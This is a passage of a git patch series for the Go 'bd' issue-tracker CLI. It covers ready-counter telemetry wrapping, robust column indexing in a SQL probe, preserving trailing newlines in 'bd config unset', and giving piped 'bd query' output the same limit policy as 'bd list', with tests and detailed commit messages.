storage.ReadyCounter.CountReady span still appears for text-mode +// `bd ready` in the cmd/bd chain (hooks -> externaldeps -> telemetry -> store). func (s *Store) ReadyCounter() (publicops.ReadyCounter, error) { - return storereadycounter.New(s) + counter, err := storereadycounter.New(s) + if err != nil { + return nil, err + } + if wrapper, ok := s.inner.(readyCounterWrapper); ok { + return wrapper.WrapReadyCounter(counter), nil + } + return counter, nil +} + +// readyCounterWrapper is how a decorator beneath this one adds its layer to a +// ready counter it did not construct. The shape is asserted rather than +// imported so this package stays independent of which layers are wired below +// it — telemetry's wrapper is absent entirely when telemetry is disabled. +type readyCounterWrapper interface { + WrapReadyCounter(publicops.ReadyCounter) publicops.ReadyCounter } // ClaimReadyIssue resolves external blockers before using the existing local diff --git a/internal/storage/issueops/ready_work_counts.go b/internal/storage/issueops/ready_work_counts.go index 9b6e318d8..a54aab812 100644 --- a/internal/storage/issueops/ready_work_counts.go +++ b/internal/storage/issueops/ready_work_counts.go @@ -333,7 +333,10 @@ func CountReadyWorkInTx(ctx context.Context, tx DBTX, filter types.WorkFilter) ( issueCount, wispCount, err := countReadyFamiliesInTx(ctx, tx, issuePreds, wispPreds) if err != nil { if !missingOptionalWispTable(err) { - return 0, fmt.Errorf("count ready work: %w", err) + // Both families ride one statement now, so name it: the + // issues-only retry below reports `issues:`, and a reader + // otherwise cannot tell the combined statement from it. + return 0, fmt.Errorf("count ready work: issues+wisps: %w", err) } // A wisp plane the database may legitimately lack: issues-only, and // the issues count has to be taken on its own. diff --git a/internal/storage/issueops/ready_work_probe.go b/internal/storage/issueops/ready_work_probe.go index 9ed77af0c..cd8d48988 100644 --- a/internal/storage/issueops/ready_work_probe.go +++ b/internal/storage/issueops/ready_work_probe.go @@ -58,21 +58,33 @@ func probeReadyWorkInTx(ctx context.Context, tx DBTX, filter types.WorkFilter, w p := &readyWorkProbe{} excludeDeferred := !filter.IncludeDeferred - cols := []string{ - "EXISTS (SELECT 1 FROM wisps)", - // Only the table REFERENCE matters here: the statement fails with a - // missing-table error when wisp_dependencies is absent, and an empty - // table still exists (optionalTableExistsInTx's contract). The value - // is not read. - "EXISTS (SELECT 1 FROM wisp_dependencies)", + // Which columns this statement carries depends on the filter, so each fact + // records the index it landed on as it is appended rather than the reader + // below counting appends back. Two of these columns are conditional, so a + // hardcoded index is a fact read from the wrong column the first time a + // new one is inserted above it — and the fact being misread would be the + // ready predicate. + cols := make([]string, 0, 5) // the two unconditional facts plus the three conditional ones + appendFact := func(sql string) int { + cols = append(cols, sql) + return len(cols) - 1 } + + iWispsPresent := appendFact("EXISTS (SELECT 1 FROM wisps)") + // Only the table REFERENCE matters here: the statement fails with a + // missing-table error when wisp_dependencies is absent, and an empty + // table still exists (optionalTableExistsInTx's contract). The value + // is not read, so this fact keeps no index. + appendFact("EXISTS (SELECT 1 FROM wisp_dependencies)") + + iIssuesDeferred, iWispsDeferred := -1, -1 if excludeDeferred { - cols = append(cols, - "EXISTS (SELECT 1 FROM issues WHERE "+futureDeferredPredicate+")", - "EXISTS (SELECT 1 FROM wisps WHERE "+futureDeferredPredicate+")") + iIssuesDeferred = appendFact("EXISTS (SELECT 1 FROM issues WHERE " + futureDeferredPredicate + ")") + iWispsDeferred = appendFact("EXISTS (SELECT 1 FROM wisps WHERE " + futureDeferredPredicate + ")") } + iCollision := -1 if wantCollision { - cols = append(cols, "EXISTS (SELECT 1 FROM issues JOIN wisps ON wisps.id = issues.id)") + iCollision = appendFact("EXISTS (SELECT 1 FROM issues JOIN wisps ON wisps.id = issues.id)") } flags := make([]bool, len(cols)) dest := make([]any, len(cols)) @@ -84,16 +96,16 @@ func probeReadyWorkInTx(ctx context.Context, tx DBTX, filter types.WorkFilter, w err := tx.QueryRowContext(ctx, "SELECT "+strings.Join(cols, ", ")).Scan(dest...) switch { case err == nil: - p.wispsPresent = flags[0] + p.wispsPresent = flags[iWispsPresent] // The statement ran, so every table it names exists. p.wispDepsExist = true - next := 2 if excludeDeferred { - hasDeferredParent = flags[2] || flags[3] - next = 4 + hasDeferredParent = flags[iIssuesDeferred] || flags[iWispsDeferred] + } + if iCollision >= 0 { + // Without a wisp row there is nothing to collide with. + p.idCollision = p.wispsPresent && flags[iCollision] } - // Without a wisp row there is nothing to collide with. - p.idCollision = wantCollision && p.wispsPresent && flags[next] if hasDeferredParent { // Every table the child scan reads is known to exist, so its // four legs can go out as one statement. diff --git a/internal/telemetry/role_accessor_decorator_test.go b/internal/telemetry/role_accessor_decorator_test.go index cd5609f4c..0d7caece4 100644 --- a/internal/telemetry/role_accessor_decorator_test.go +++ b/internal/telemetry/role_accessor_decorator_test.go @@ -10,6 +10,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/externaldeps" "github.com/steveyegge/beads/issueops" "github.com/steveyegge/beads/memoryops" ) @@ -387,6 +388,36 @@ func TestInstrumentedStorageInstrumentsEveryRoleAccessor(t *testing.T) { } } +// TestExternalDepsReadyCounterSurvivesThisLayer pins the span across the one +// decorator above this one that CANNOT recurse. cmd/bd wires +// hooks -> externaldeps -> telemetry -> store, and externaldeps has to build +// its own ready counter over itself so the total honors its external-dependency +// exclusions — recursing into the inner counter the way the accessors above do +// would count externally blocked issues as ready. That leaves handing the +// finished counter to WrapReadyCounter as the only way this layer keeps its +// turn, so an externaldeps override that skips it silently drops the +// storage.ReadyCounter.CountReady span for every text-mode `bd ready`. +// +// This is the only test that wires a real decorator above the instrumented +// store, which is why WrapReadyCounter's sole caller outside this package is +// the thing being pinned here. +func TestExternalDepsReadyCounterSurvivesThisLayer(t *testing.T) { + t.Setenv("BD_OTEL_STDOUT", "true") + inner := &roleAccessorStore{surface: &roleAccessorSentinel{}} + instrumented, ok := WrapStorage(inner).(*InstrumentedStorage) + if !ok { + t.Fatal("WrapStorage did not instrument the store; telemetry is disabled in this environment") + } + + counter, err := externaldeps.New(instrumented, nil, nil).ReadyCounter() + if err != nil { + t.Fatalf("externaldeps ReadyCounter() error = %v", err) + } + if _, ok := counter.(*instrumentedReadyCounter); !ok { + t.Fatalf("externaldeps ReadyCounter() = %T, want it wrapped by this layer; the storage.ReadyCounter.CountReady span stops being emitted for text-mode bd ready", counter) + } +} + // TestInstrumentedStorageRoleAccessorsPropagateInnerErrors pins the other half // of the recursion: an accessor that recurses must not swallow the inner // store's refusal, nor hand back a wrapper around nothing. diff --git a/internal/workapi/storereadycounter/counter.go b/internal/workapi/storereadycounter/counter.go index 87a30bffc..d049b5425 100644 --- a/internal/workapi/storereadycounter/counter.go +++ b/internal/workapi/storereadycounter/counter.go @@ -5,9 +5,16 @@ // It is a package of its own for the reason internal/workapi/storereader and // internal/workapi/storecounter are: a constructor sitting in internal/workapi // would be a one-line drop-in for store.ReadyCounter() that silently skips the -// decorators. Down here the only importers are the two Dolt store packages, and -// the cmd-bd-role-constructors depguard rule in .golangci.yml makes a front -// door importing it a lint failure rather than a review comment. +// decorators. Down here the importers are the two Dolt store packages and +// internal/storage/externaldeps, and the cmd-bd-role-constructors depguard rule +// in .golangci.yml makes a front door importing it a lint failure rather than a +// review comment. +// +// The external-dependency decorator needs its own construction site because its +// exclusions live on the decorator, not beneath it: recursing into the inner +// store's counter the way its other accessors do would count externally blocked +// issues as ready. It hands the counter it builds to the inner store's +// WrapReadyCounter so the layers below still get their turn. package storereadycounter import ( From 4f81ffa19768a3d43efe550caee1e75115c07679 Mon Sep 17 00:00:00 2001 From: Karel Bourgois Date: Sat, 26 Sep 2026 11:15:47 +0200 Subject: [PATCH 075/624] fix(config): stop `bd config unset` dropping the file's trailing newline (#6749) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(config): stop `bd config unset` dropping the file's trailing newline commentOutYamlKey rebuilds the document by joining its lines, and returns the join directly. strings.Split on a string ending in "\n" yields a final empty element, so any path that appends after it -- or rebuilds result without it -- loses the document's trailing newline. Every `bd config unset` therefore wrote a no-newline-at-end-of-file change on top of the line it meant to comment out, in a git-tracked file: a spurious line in someone's review, on a command whose whole job is a two-line edit. It happened even when the key was absent, i.e. when nothing was edited at all. Measured on 3c30a28d0 before the fix: key present, nested inHasNL=true outHasNL=false key present, flat inHasNL=true outHasNL=false key absent inHasNL=true outHasNL=false no trailing newline in input inHasNL=false outHasNL=false The rule is PRESERVE, not always-append: the last line above is correct and stays correct -- a document that genuinely has no trailing newline does not acquire one, so this cannot rewrite the end of a file that was already written that way. Found while rebasing #6125 onto this function; that PR works around it in its own wrapper, and this fixes the primitive so the workaround can go away. Tests: five cases through commentOutYamlKey (nested, flat, single-segment, key absent, and the no-newline input), plus one through UnsetYamlConfig and the real file, which is what `bd config unset` calls. Revert-probed -- every one fails with the preservation removed. The existing internal/config suite passes unchanged, so nothing encoded the old behaviour. Agent-Signature: claude-code-claude-opus-5-unknown-reasoning on behalf of voxist.executor * fix(config): preserve the whole trailing newline run, not one newline Self-review of the approved head found the fix short by one shape, and the commit message above it naming the wrong mechanism. Both are corrected here rather than by amending, so the range-diff against the reviewed commit stays readable. The mechanism is NOT "strings.Split yields a final empty element", and it is not a collapsed run either. Measured directly: in "x\n" tokens ["x"] join "x" short by 1 in "x\n\n" tokens ["x" ""] join "x\n" short by 1 in "x\n\n\n" tokens ["x" "" ""] join "x\n\n" short by 1 in "x\n\n\n\n" tokens ["x" "" "" ""] join "x\n\n\n" short by 1 in "x" tokens ["x"] join "x" short by 0 bufio.Scanner yields one empty token per blank line and drops only the final terminator, so the join is always EXACTLY ONE newline short whenever the content ends in "\n". So the count was never the problem; the GUARD was. The approved head appends "\n" under `strings.HasSuffix(content, "\n") && !strings.HasSuffix(out, "\n")`. For a file ending "\n\n" the join ends "\n" -- the blank line's own newline -- so the second clause is already false and the one missing newline is never restored: in "…mode: server\n" out "…# mode: server\n" ok in "…mode: server\n\n" out "…# mode: server\n" one short in "…mode: server\n\n\n" out "…# mode: server\n\n" one short in "…other: x\n\n" out "…other: x\n" one short, key absent The last row is the same defect the PR exists to fix: `bd config unset` on a key the file does not contain still rewrites the end of a git-tracked file. The test could not see it. It asserted `strings.HasSuffix(out, "\n")`, which is true of an output that lost a newline and still ends in one -- a check that cannot fail for the shape it was meant to cover. It now compares the trailing RUN, so it reports what the output actually is. Fix: re-attach content's own trailing run, which does not depend on the count. The rule stays PRESERVE, not always-append -- a document with no trailing newline still acquires none, and that row stays in the table. Tests: three new rows (ends in a blank line, two blank lines, and a blank line with the key absent) plus the file-level test through UnsetYamlConfig now written against a body that ends in a blank line. Revert-probed: with the approved one-newline append, the four new rows fail and the original four pass; with no preservation at all, everything fails. internal/config passes unchanged otherwise. Found while fixing the same class of bug one level up in #6125, whose wrapper hit it as a hard refusal rather than a cosmetic loss. Agent-Signature: claude-code-claude-opus-5-unknown-reasoning on behalf of voxist.executor * fix(config): record the set-path gap and pin CRLF normalization Review follow-ups from the maintainer adoption review of #6749. Both are scope/documentation items; no behavior changes. updateYamlKey's flat-key path has the same bufio.Scanner + strings.Join shape commentOutYamlKey had, so `bd config set` still drops a terminated document's trailing newline -- the same user-visible symptom this PR fixes for unset, via the more commonly run verb. Measured at this HEAD: setting issue_prefix on "issue_prefix: vp\ndolt.mode: server\n" returns a string with no terminator, and the key-not-found branch is worse, emitting "x\n\nnewkey: \"v\"" for "x\n". Left unfixed to keep the change aimed at unset, but named in a TODO rather than left silent, so the invariant does not read as file-wide. Only the flat path is affected: updateNestedYamlKey re-marshals through yaml.Node and is already newline-faithful. The new test file's header otherwise reads as a document-wide "an unset does not rewrite bytes it did not mean to touch" guarantee, which CRLF files break far more loudly than the missing terminator did -- ScanLines strips the \r from every line, so an unset normalizes the whole document to LF. The tail logic hides that at the one place a reader now looks, because TrimRight on "\n" leaves the final \r behind and the re-attached run is a bare "\n". Scoped the header to LF and pinned the current normalization as known-and-accepted. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- internal/config/yaml_config.go | 31 +++++- internal/config/yaml_unset_newline_test.go | 105 +++++++++++++++++++++ 2 files changed, 135 insertions(+), 1 deletion(-) create mode 100644 internal/config/yaml_unset_newline_test.go diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index a27def39b..ed40e1f4e 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -733,6 +733,16 @@ func updateYamlKey(content, key, value string) (string, error) { result = append(result, newLine) } + // TODO: `bd config set` is knowingly left unfixed here. This flat-key path + // has the same bufio.Scanner + strings.Join shape that commentOutYamlKey + // had, so it is still exactly one newline short for any terminated + // document: updateYamlKey("issue_prefix: vp\ndolt.mode: server\n", + // "issue_prefix", "zz") returns a string with no terminator, and the + // key-not-found branch above is worse, emitting "x\n\nnewkey: \"v\"" for + // "x\n". The same one-line tail applied at commentOutYamlKey's return + // belongs here too; it is out of scope for a fix aimed at unset. Only this + // flat path is affected -- updateNestedYamlKey re-marshals through + // yaml.Node and is already newline-faithful. return strings.Join(result, "\n"), nil } @@ -1026,7 +1036,26 @@ func commentOutYamlKey(content, key string) (string, error) { result = append(result, line) } - return strings.Join(result, "\n"), nil + // Preserve the document's trailing newlines. The scan above reads with + // bufio.Scanner, which yields one empty token per blank line but drops the + // final terminator, so the join is always EXACTLY ONE newline short + // whenever content ends in "\n" -- "x\n" joins to "x", "x\n\n" to "x\n", + // "x\n\n\n" to "x\n\n". An unset therefore also wrote an end-of-file change + // on top of the line it meant to comment out, and did so even for a key the + // document does not contain, i.e. when nothing was edited at all. A + // config.yaml is git-tracked, so that is a spurious line in someone's + // review. + // + // Re-attach content's own run rather than appending a single "\n" under a + // HasSuffix guard. The count was never the problem; the GUARD was. For a + // file ending "\n\n" the join ends "\n" -- the blank line's own newline -- + // so !HasSuffix(out, "\n") was already false and the one missing newline + // was never restored. Trimming both ends and re-attaching does not depend + // on the count at all. The rule is PRESERVE, not always-append: a document + // that genuinely has no trailing newline does not acquire one, so this + // cannot rewrite the end of a file that was already written that way. + out := strings.Join(result, "\n") + return strings.TrimRight(out, "\n") + content[len(strings.TrimRight(content, "\n")):], nil } // nestedKeyWalk tracks how much of a dotted key a line-by-line scan has matched diff --git a/internal/config/yaml_unset_newline_test.go b/internal/config/yaml_unset_newline_test.go new file mode 100644 index 000000000..16552a557 --- /dev/null +++ b/internal/config/yaml_unset_newline_test.go @@ -0,0 +1,105 @@ +package config + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// An unset must not also rewrite the end of the file. commentOutYamlKey used to +// drop the document's trailing newline, so `bd config unset` produced a +// no-newline-at-end-of-file change on top of the line it meant to comment out — +// and did so even for a key the document does not contain, i.e. when nothing +// was edited at all. A config.yaml is git-tracked, so that is a spurious line +// in someone's review. +// +// The guarantee is scoped to LF documents. A CRLF file is still normalized to +// LF by any unset — that predates this fix and is pinned below as +// known-and-accepted rather than quietly claimed away. +func TestCommentOutYamlKeyPreservesTheTrailingNewline(t *testing.T) { + for _, tc := range []struct { + name, content, key string + }{ + {"nested key present", "# header\nissue_prefix: vp\ndolt:\n mode: server\n", "dolt.mode"}, + {"flat dotted key present", "issue_prefix: vp\ndolt.mode: server\n", "dolt.mode"}, + {"single-segment key present", "issue_prefix: vp\nexport.auto: true\n", "issue_prefix"}, + {"key absent — nothing is edited", "issue_prefix: vp\n", "dolt.mode"}, + + // A blank line at the end of a YAML file is an ordinary shape, and + // bufio.Scanner collapses the whole run rather than just the final + // newline. Asserting only that SOME trailing newline survived cannot + // see that: the output still ends in "\n", one short. + {"ends in a blank line", "issue_prefix: vp\ndolt:\n mode: server\n\n", "dolt.mode"}, + {"ends in two blank lines", "issue_prefix: vp\ndolt:\n mode: server\n\n\n", "dolt.mode"}, + {"ends in a blank line, key absent", "issue_prefix: vp\nother: x\n\n", "dolt.mode"}, + } { + t.Run(tc.name, func(t *testing.T) { + out, err := commentOutYamlKey(tc.content, tc.key) + if err != nil { + t.Fatalf("commentOutYamlKey: %v", err) + } + want := tc.content[len(strings.TrimRight(tc.content, "\n")):] + if got := out[len(strings.TrimRight(out, "\n")):]; got != want { + t.Errorf("trailing newline run = %q, want %q:\nin: %q\nout: %q", got, want, tc.content, out) + } + }) + } + + // A document that genuinely has no trailing newline keeps not having one: + // the rule is "preserve", not "always append". + t.Run("absent trailing newline is not invented", func(t *testing.T) { + out, err := commentOutYamlKey("issue_prefix: vp\ndolt.mode: server", "dolt.mode") + if err != nil { + t.Fatalf("commentOutYamlKey: %v", err) + } + if strings.HasSuffix(out, "\n") { + t.Errorf("a trailing newline was invented for a document that had none: %q", out) + } + }) + + // bufio.ScanLines strips the "\r" from every line, so an unset rewrites a + // CRLF document to LF throughout. That is pre-existing and unchanged by the + // trailing-run logic, but the tail is where it is least visible: TrimRight + // on "\n" leaves the final "\r" behind, so the run that gets re-attached is + // a bare "\n" and the end of the file reads clean while every line ending + // above it changed. Pinned so the normalization is documented, and so a + // future change to it has to be deliberate. + t.Run("CRLF is normalized to LF, trailing run included", func(t *testing.T) { + out, err := commentOutYamlKey("issue_prefix: vp\r\ndolt.mode: server\r\n", "dolt.mode") + if err != nil { + t.Fatalf("commentOutYamlKey: %v", err) + } + if want := "issue_prefix: vp\n# dolt.mode: server\n"; out != want { + t.Errorf("CRLF normalization changed:\ngot: %q\nwant: %q", out, want) + } + }) +} + +// The same property through the public writer, which is what `bd config unset` +// actually calls. +func TestUnsetThroughTheFileKeepsTheTrailingNewline(t *testing.T) { + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + path := filepath.Join(beadsDir, "config.yaml") + // The file ends in a blank line, the shape a single appended "\n" does not + // restore. + const body = "issue_prefix: vp\nexport.auto: true\ndolt:\n mode: server\n\n" + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", beadsDir) + if err := UnsetYamlConfig("dolt.mode"); err != nil { + t.Fatalf("UnsetYamlConfig: %v", err) + } + after, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + want := body[len(strings.TrimRight(body, "\n")):] + if got := string(after)[len(strings.TrimRight(string(after), "\n")):]; got != want { + t.Errorf("unset rewrote the end of the file: trailing run %q, want %q\n%q", got, want, string(after)) + } +} From 0e317c4fc0e54764dbfb05a388cd32b2b53fdd2d Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 02:50:09 -0700 Subject: [PATCH 076/624] fix(query): apply bd list's piped-output limit policy to bd query (#6229) (#6744) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(query): apply bd list's piped-output limit policy to bd query (#6229) Root cause: bd list resolves an unflagged --limit through a policy that treats piped stdout as unlimited (GH#4094), but bd query read its --limit flag straight through, so its default of workapi.DefaultQueryLimit (50) applied to piped output too. `bd query '...' | consumer` silently dropped every row past 50; the truncation hint did not fire either, because it only prints when stderr is a terminal. Fix: factor the unflagged tail of bd list's policy into unflaggedLimit / resolveUnflaggedLimit in list_input.go and call it from both commands, so they cannot drift. bd list's switch is unchanged in behavior; bd query's change is a single localized branch in gatherQueryInput. Precedence for bd query, mirroring bd list: 1. explicit --limit (including 0) wins 2. piped stdout -> 0 (unlimited) 3. agent mode on a terminal -> 20 4. otherwise the 50 default bd list keeps its own --all and list.limit branches ahead of step 2; bd query has neither (its --all means "include closed", and there is no query.limit config key), so none was invented. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * review: document the query path's absent defensive cap; unstale a reachability comment Maintainer review fixes for PR #6744 (GH#6229). Both are comment-only; no behavior changes. issueops.QueryRequest.Limit now states that nothing backstops it. ListRequest pairs its Limit with MaxRows, a circuit breaker for an oversized answer, and neither knob that sets that one (--max-rows, BEADS_MAX_ROWS) is read anywhere on the query path, so an unlimited query is unbounded in the plain sense. That was already reachable via `--limit 0`; this PR makes a piped `bd query` reach it without asking, which is what makes it worth writing down. Recording the absence is the documented half of the reviewers' choice — threading a MaxRows twin onto QueryRequest stays available as a follow-up. unionCountsGoSideSortKeepsTheRightSubset's comment justified its case with "DefaultQueryLimit means a limit is always set", which this PR falsified for the CLI half: an unflagged piped `bd query '' --sort id` now arrives on the IsGoSideSort path with Limit 0 and no bound. The HTTP surface still brings a bound, because an absent `limit` parameter resolves to DefaultQueryLimit, so the clause is requalified rather than dropped. The assertions were never affected — they pass an explicit Limit: 5. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: Julian Knutsen --- CHANGELOG.md | 8 ++ cmd/bd/list_input.go | 31 +++++- cmd/bd/query.go | 5 + cmd/bd/query_limit_policy_test.go | 95 +++++++++++++++++++ .../db/issue_search_union_window_test.go | 12 ++- issueops/querier.go | 11 +++ 6 files changed, 153 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/query_limit_policy_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 8e7fd405f..1752b47d6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -206,6 +206,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 "only 'compact --dolt'", which names the root `bd compact` — a different command, with no `--dolt` flag and its own proxied route. Scripts matching the old text need updating. +- **`bd query` no longer silently stops at 50 rows when its output is piped** + ([#6229](https://github.com/gastownhall/beads/issues/6229)). `bd list` has + treated piped stdout as unlimited since GH#4094, but `bd query` read its + `--limit` default of 50 straight through, so `bd query '...' | consumer` + dropped every row past 50 with no hint. An unflagged `bd query` now resolves + through the same policy as `bd list`: an explicit `--limit` wins, piped + stdout is unlimited, agent mode on a terminal gets 20, and a terminal gets 50. + - **`bd preflight` honors the `json` config default** ([#6293](https://github.com/gastownhall/beads/pull/6293)). Its `--json` flag is bound to the same global every sibling command binds, so `json: true` in diff --git a/cmd/bd/list_input.go b/cmd/bd/list_input.go index 7d12e7c63..5dd69799c 100644 --- a/cmd/bd/list_input.go +++ b/cmd/bd/list_input.go @@ -331,10 +331,8 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { in.effectiveLimit = 0 case listLimitConfigured: in.effectiveLimit = limit - case !ui.IsTerminal(): - in.effectiveLimit = 0 // Piped stdout should not truncate (GH#4094) - case ui.IsAgentMode(): - in.effectiveLimit = 20 + default: + in.effectiveLimit = unflaggedLimit(limit) } // The request carries the limit the caller receives. Which row limit that // implies for the query - a sort SQL cannot express fetches everything and @@ -389,3 +387,28 @@ func parseListTimeFlag(cmd *cobra.Command, name string) (*time.Time, error) { } return &t, nil } + +// agentModeLimit is the page size an unflagged listing gets in agent mode on a +// terminal: ultra-compact output for an LLM context window. +const agentModeLimit = 20 + +// unflaggedLimit is the limit a listing command uses when the caller named +// none: the part of the policy `bd list` and `bd query` share, so the two +// cannot drift (GH#6229). Each command resolves its own earlier branches first +// (an explicit --limit, `bd list`'s --all and list.limit) and hands its own +// default here as fallback. +func unflaggedLimit(fallback int) int { + return resolveUnflaggedLimit(fallback, ui.IsTerminal(), ui.IsAgentMode()) +} + +// resolveUnflaggedLimit is unflaggedLimit with the environment passed in, so +// the terminal and agent-mode branches are testable from a piped `go test`. +func resolveUnflaggedLimit(fallback int, stdoutIsTerminal, agentMode bool) int { + switch { + case !stdoutIsTerminal: + return 0 // Piped stdout should not truncate (GH#4094) + case agentMode: + return agentModeLimit + } + return fallback +} diff --git a/cmd/bd/query.go b/cmd/bd/query.go index a2769bf0b..7151ba257 100644 --- a/cmd/bd/query.go +++ b/cmd/bd/query.go @@ -151,6 +151,11 @@ func gatherQueryInput(cmd *cobra.Command, args []string) (queryInput, error) { in := queryInput{expression: strings.Join(args, " ")} in.limit, _ = cmd.Flags().GetInt("limit") + if !cmd.Flags().Changed("limit") { + // bd list's policy for an unflagged limit: piped stdout is unlimited, + // agent mode is compact, a terminal gets the default (GH#6229). + in.limit = unflaggedLimit(in.limit) + } in.longFormat, _ = cmd.Flags().GetBool("long") in.parseOnly, _ = cmd.Flags().GetBool("parse-only") in.offset, _ = cmd.Flags().GetInt("offset") diff --git a/cmd/bd/query_limit_policy_test.go b/cmd/bd/query_limit_policy_test.go new file mode 100644 index 000000000..2d6c73e2c --- /dev/null +++ b/cmd/bd/query_limit_policy_test.go @@ -0,0 +1,95 @@ +package main + +import ( + "testing" + + "github.com/spf13/cobra" + + "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/internal/workapi" +) + +// newQueryLimitCommand registers the flags gatherQueryInput reads, with +// queryCmd's own --limit default. +func newQueryLimitCommand(t *testing.T, args ...string) *cobra.Command { + t.Helper() + cmd := &cobra.Command{Use: "query"} + cmd.Flags().IntP("limit", "n", workapi.DefaultQueryLimit, "") + cmd.Flags().Int("offset", 0, "") + cmd.Flags().BoolP("all", "a", false, "") + cmd.Flags().Bool("long", false, "") + cmd.Flags().String("sort", "", "") + cmd.Flags().BoolP("reverse", "r", false, "") + cmd.Flags().Bool("parse-only", false, "") + if err := cmd.ParseFlags(args); err != nil { + t.Fatalf("parse %v: %v", args, err) + } + return cmd +} + +// TestQueryLimitPolicyMatchesList pins GH#6229: `bd query` read --limit +// straight through, so `bd query ... | consumer` silently stopped at +// workapi.DefaultQueryLimit rows where `bd list | consumer` got every row +// (GH#4094). An unflagged query now resolves through the same policy as list. +func TestQueryLimitPolicyMatchesList(t *testing.T) { + if ui.IsTerminal() { + t.Skip("this test asserts the piped-stdout branch; go test's stdout is a pipe, but this run's is not") + } + for _, tc := range []struct { + name string + args []string + want int + }{ + {"an explicit limit wins when piped", []string{"--limit", "7"}, 7}, + {"an explicit default-sized limit is still honored when piped", []string{"--limit", "50"}, 50}, + {"an explicit zero stays unlimited", []string{"--limit", "0"}, 0}, + {"piped stdout is unlimited, not the query default", nil, 0}, + // query's --all means "include closed", not "no limit"; piping is + // what lifts the cap here. + {"--all does not change the piped policy", []string{"--all"}, 0}, + } { + t.Run(tc.name, func(t *testing.T) { + in, err := gatherQueryInput(newQueryLimitCommand(t, tc.args...), []string{"status=open"}) + if err != nil { + t.Fatalf("gatherQueryInput(%v): %v", tc.args, err) + } + if in.limit != tc.want { + t.Errorf("limit = %d, want %d", in.limit, tc.want) + } + if in.request.Limit == nil { + t.Fatal("QueryRequest.Limit is nil; `bd query` resolves its own limit before the request exists") + } + if *in.request.Limit != tc.want { + t.Errorf("QueryRequest.Limit = %d, want %d", *in.request.Limit, tc.want) + } + }) + } +} + +// TestUnflaggedLimitBranches covers the terminal and agent-mode branches the +// piped `go test` process cannot reach through gatherQueryInput or +// gatherListInput, for both commands' defaults. +func TestUnflaggedLimitBranches(t *testing.T) { + for _, fallback := range []int{workapi.DefaultListLimit, workapi.DefaultQueryLimit} { + for _, tc := range []struct { + name string + terminal bool + agent bool + want int + }{ + {"terminal gets the command default", true, false, fallback}, + {"agent mode on a terminal is compact", true, true, agentModeLimit}, + {"piped stdout is unlimited", false, false, 0}, + // Piping outranks agent mode, as it always has for bd list. + {"piped stdout is unlimited in agent mode too", false, true, 0}, + } { + if got := resolveUnflaggedLimit(fallback, tc.terminal, tc.agent); got != tc.want { + t.Errorf("%s: resolveUnflaggedLimit(%d, terminal=%v, agent=%v) = %d, want %d", + tc.name, fallback, tc.terminal, tc.agent, got, tc.want) + } + } + } + if agentModeLimit != 20 { + t.Errorf("agentModeLimit = %d, want 20 (bd list's historical agent-mode cap)", agentModeLimit) + } +} diff --git a/internal/storage/domain/db/issue_search_union_window_test.go b/internal/storage/domain/db/issue_search_union_window_test.go index 4809ae167..2e83166fb 100644 --- a/internal/storage/domain/db/issue_search_union_window_test.go +++ b/internal/storage/domain/db/issue_search_union_window_test.go @@ -68,11 +68,13 @@ func (s *testSuite) unionGoSideSortKeepsTheRightSubset() { // unionCountsGoSideSortKeepsTheRightSubset is the same case on the counts twin, // and that is the twin the live callers reach. workapi.BuildQueryPlan pushes // SortBy and Limit straight onto the filter for any filter-expressible query — -// no SQLLimit guard, and DefaultQueryLimit means a limit is always set — so -// `bd query '' --sort id` and GET /v0/beads/issues/query?sort=id both -// arrived here with SortBy "id" and a bound. Its own comment says the pushdown -// makes "the page the first N in the requested order on every backend", which -// was true of every key except the one IsGoSideSort names. +// no SQLLimit guard — so `bd query '' --sort id` and +// GET /v0/beads/issues/query?sort=id both arrive here with SortBy "id". The +// HTTP surface still brings a bound with it, because an absent `limit` +// parameter resolves to DefaultQueryLimit; the CLI need not, since GH#6229 +// gave a piped `bd query` the unflagged limit 0. Its own comment says the +// pushdown makes "the page the first N in the requested order on every +// backend", which was true of every key except the one IsGoSideSort names. func (s *testSuite) unionCountsGoSideSortKeepsTheRightSubset() { const prefix = "bd-uw-cgos" ids := s.seedTwoPlanes(prefix, 12) diff --git a/issueops/querier.go b/issueops/querier.go index ca6212a03..edd3b22b1 100644 --- a/issueops/querier.go +++ b/issueops/querier.go @@ -60,6 +60,17 @@ type QueryRequest struct { // constant serve both surfaces. A negative Limit is ErrValidation rather // than a synonym for unlimited: two spellings of "no bound" is one more // than a caller can check for. + // + // NOTHING BACKSTOPS IT. ListRequest pairs its Limit with MaxRows, a + // circuit breaker that refuses an oversized answer outright; this request + // has no twin to it by design, and neither knob that sets that one + // (`--max-rows`, BEADS_MAX_ROWS) is read anywhere on the query path. So an + // unlimited query is unbounded in the plain sense: it reads every row the + // expression matches, however many that is, and a caller who asked for one + // gets it rather than an ErrTooManyRows. The ceiling here is Limit itself. + // This is reachable without asking: a piped `bd query` resolves its + // unflagged limit to 0 before the request, the same policy `bd list` has + // applied to piped output since GH#4094. Limit *int // Offset skips the first N MATCHING rows, on EVERY implementation and for From 7a81e297d9b9a5e8007f389a76f47933804ce79b Mon Sep 17 00:00:00 2001 From: 